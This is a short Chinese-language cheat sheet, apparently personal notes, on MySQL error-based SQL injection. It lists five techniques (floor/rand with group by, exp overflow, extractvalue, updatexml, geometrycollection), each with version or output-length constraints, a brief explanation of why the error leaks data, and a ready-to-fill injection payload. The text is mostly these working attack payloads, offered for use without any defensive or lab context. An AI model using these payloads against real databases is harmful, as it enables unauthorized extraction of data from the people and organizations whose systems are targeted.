通过floor进行报错注入

约束条件:mysql版本5.x.x,且数据库数据>=3条

原理:floor(rand(0)*2)生成的序列为011011,再利用floor(rand(0)*2)x查询时计算一次,group by插入虚拟表时会再计算一次,在计算第三条数据时导致主键重复将数据报错带出。

注入语句:

(select 1 from (select count(*),concat((操作语句),floor(rand(0)*2))x from information_schema.tables group by x)a);

通过exp进行报错注入

约束条件:5.5<mysql版本<5.6

原理:函数执行成功返回值0,利用~取反得到最大的无符号BIGINT,再利用exp造成double overflow error报错注入出数据

and (exp(~(select * from (操作代码) a)))

通过extractvalue()进行报错注入

约束条件:输出字符长度限制为32个字符

原理:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
xpath路径语法错误,会导致报错,报错内容含有错误的路径内容

注入语句:

and extractvalue(null,concat(0x7e,(代码操作),0x7e))

通过updatexml进行报错注入

约束条件:输出字符长度限制为32个字符

原理:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

注入语句:

and updatexml(1,concat(0x7e,(代码操作),0x7e),3)

通过GeometryCollection()报错注入

约束条件:5.5<mysql版本<5.6

原理:MYSQL无法使用字符串画出图形

注入语句:

and geometrycollection((select * from(select * from (操作代码)a)b))